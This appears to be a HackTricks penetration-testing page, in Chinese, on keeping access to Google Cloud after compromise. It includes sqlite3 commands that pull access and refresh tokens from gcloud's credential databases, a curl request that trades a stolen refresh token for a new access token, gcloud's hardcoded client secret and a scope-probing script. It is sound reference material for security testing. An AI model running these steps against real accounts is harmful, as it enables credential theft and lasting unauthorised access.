GCP - Non-svc Persistance

支持 HackTricks

这些技术在你以某种方式获取了一些 GCP 凭证或在 GCP 环境中运行的机器后非常有用。

Token Hijacking

Authenticated User Tokens

要获取用户的当前 token,你可以运行:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

查看此页面了解如何直接使用此令牌使用gcloud

获取生成新访问令牌的详细信息,请运行:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

也可以在 $HOME/.config/gcloud/application_default_credentials.json$HOME/.config/gcloud/legacy_credentials/*/adc.json 中找到 refresh tokens。

使用 refresh token、client ID 和 client secret 获取新的刷新 access token,运行:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

刷新令牌的有效性可以在 Admin > Security > Google Cloud session control 中管理,默认设置为16小时,尽管可以设置为永不过期:

Auth flow

使用类似 gcloud auth login 的身份验证流程会在浏览器中打开一个提示,接受所有范围后,浏览器会向工具打开的 http 端口发送如下请求:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

然后,gcloud 将使用状态和代码以及一些硬编码的 client_id (32555940559.apps.googleusercontent.com) 和 client_secret (ZmssLNjJy2998hD4CTg2ejr2) 来获取 最终的刷新令牌数据

请注意,与 localhost 的通信是通过 HTTP 进行的,因此有可能拦截数据以获取刷新令牌,但此数据仅有效一次,所以这将是无用的,更容易直接从文件中读取刷新令牌。

OAuth 范围

你可以在 https://developers.google.com/identity/protocols/oauth2/scopes 找到所有 Google 范围,或者通过执行以下命令获取:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

可以使用此脚本查看 gcloud 用于认证的应用程序支持哪些范围:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

执行后,检查到此应用支持以下范围:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

很有趣的是,这个应用支持 drive 范围,这可能允许用户从 GCP 升级到 Workspace,如果攻击者设法强迫用户生成具有此范围的令牌。

查看如何 滥用此功能.

Service Accounts

就像经过身份验证的用户一样,如果你设法破解服务账户的私钥文件,你通常可以随意访问它。 然而,如果你窃取了服务账户的 OAuth 令牌,这可能更有趣,因为即使默认情况下这些令牌只有效一个小时,如果受害者删除了私有 API 密钥,OAuth 令牌仍然会在到期前有效

Metadata

显然,只要你在 GCP 环境中运行的机器内,你就可以通过联系元数据端点访问附加到该机器的服务账户(请注意,你可以在此端点访问的 OAuth 令牌通常受范围限制)。

Remediations

这些技术的一些补救措施在 https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2 中有解释。

References

支持 HackTricks

Last updated